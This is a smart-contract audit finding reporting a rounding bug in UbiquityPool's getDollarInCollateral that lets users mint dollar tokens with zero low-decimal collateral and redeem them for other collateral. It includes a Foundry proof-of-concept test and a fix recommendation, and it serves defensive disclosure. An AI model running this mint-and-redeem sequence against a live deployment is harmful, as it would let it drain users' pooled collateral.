Mythical Oily Goldfish

high

# Users can mint dollar tokens for free, allowing them to drain protocol's collateral

## Summary

**NB: According to the contest's docs the only ERC20 tokens that'll interact with the protocol are `LUSD` and `DAI`, which are both 18 decimals, but for later when more non-18 decimal tokens are enabled (the current version of the code supports these tokens) it should be handled explicitly.**

Users in `UbiquityPool` can provide an amount of "enabled" collateral and get some dollar token minted for them in return, this is considered enabled if the dollar price is above or equal to a `mintPriceThreshold` that is set by an admin. However, in case some collateral tokens with decimals <18 were enabled in the protocol, users can abuse the `getDollarInCollateral` function to mint some dollar tokens while providing 0 collateral tokens. This allows them later to redeem those dollar tokens and get another type of collateral in return, that way users gain an "illegal" profit.

## Vulnerability Detail

When calling `mintDollar` the protocol calculates the needed collateral that should be transferred from the user using `getDollarInCollateral`, however, in some cases, an example below `getDollarInCollateral` returns 0, allowing users to mint dollar tokens for free.

Assume we have the following:
* `dollarAmount`: 1e11
* `UBIQUITY_POOL_PRICE_PRECISION`: 1e6
* Collateral X having 6 decimals, `poolStorage.missingDecimals[collateralIndex]`: 12
* `collateralPrices[collateralIndex]`: 1e6

`getDollarInCollateral` function will do the following equation `((1 * 10^11) * 10^6) / 10^12 / 10^6` which ends up as `0.1 ~= 0`, allowing users to mint 1e11 dollars for free.

We added a couple of changes to the implementation of `MockERC20`, to be the following:
```solidity
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.19;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockERC20 is ERC20 {
    uint8 internal __decimals;

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) ERC20(_name, _symbol) {
        __decimals = _decimals;
    }

    function mint(address to, uint256 value) public virtual {
        _mint(to, value);
    }

    function burn(address from, uint256 value) public virtual {
        _burn(from, value);
    }

    function decimals() public view virtual override returns (uint8) {
        return __decimals;
    }
}
```

### POC Test

```solidity
function test_bug_freeDollars() public {
    // A 6 decimals collateral token is added/enabled
    vm.startPrank(admin);
    MockERC20 collateralToken2 = new MockERC20("COLLATERAL2", "CLT2", 6);
    uint256 poolCeiling = 50_000e18;
    ubiquityPoolFacet.addCollateralToken(
        address(collateralToken2),
        address(collateralTokenPriceFeed),
        poolCeiling
    );
    ubiquityPoolFacet.setCollateralChainLinkPriceFeed(
        address(collateralToken2),
        address(collateralTokenPriceFeed),
        1 days
    );
    ubiquityPoolFacet.toggleCollateral(1);
    ubiquityPoolFacet.setFees(1, 10000, 20000);
    ubiquityPoolFacet.setPriceThresholds(1000000, 1000000);
    vm.stopPrank();

    uint256 _100ETH = 100e18;

    // Deposit 100 ETH of the 18 decimals collateral token into the pool
    collateralToken.mint(address(ubiquityPoolFacet), _100ETH);

    // User has 0 collateral2 (6 decimals) and 0 Dollars
    assertEq(collateralToken2.balanceOf(address(user)), 0);
    assertEq(collateralToken.balanceOf(address(user)), _100ETH);
    assertEq(dollarToken.balanceOf(address(user)), 0);

    // User mints 1e11 dollars, while providing collateral2 (6 decimals) as collateralIndex
    vm.prank(user);
    ubiquityPoolFacet.mintDollar(1, 1e11, 0, _100ETH);

    // User dollar balance increases while having 0 collateral2 (6 decimals)
    assertGt(dollarToken.balanceOf(address(user)), 0);

    // User redeems all his dollars for collateral (18 decimals)
    vm.prank(user);
    ubiquityPoolFacet.redeemDollar(0, 1e9, 1);

    vm.roll(3);

    // User collects redemption
    vm.prank(user);
    ubiquityPoolFacet.collectRedemption(0);

    // User collateral (18 decimals) balance increases as he redeemed his "free" dollars
    assertGt(collateralToken.balanceOf(address(user)), _100ETH);
}
```

## Impact

The freely minted dollars can be later redeemed, to receive an amount of collateral, and users can drain the supply of collateral as they didn't provide any while minting.

## Code Snippet

https://github.com/sherlock-audit/2023-12-ubiquity/blob/main/ubiquity-dollar/packages/contracts/src/dollar/libraries/LibUbiquityPool.sol#L284-L294

## Tool used

Manual Review + vs code

## Recommendation

Refactor the logic that calculates the collateral needed to account for the case when it's equal to zero.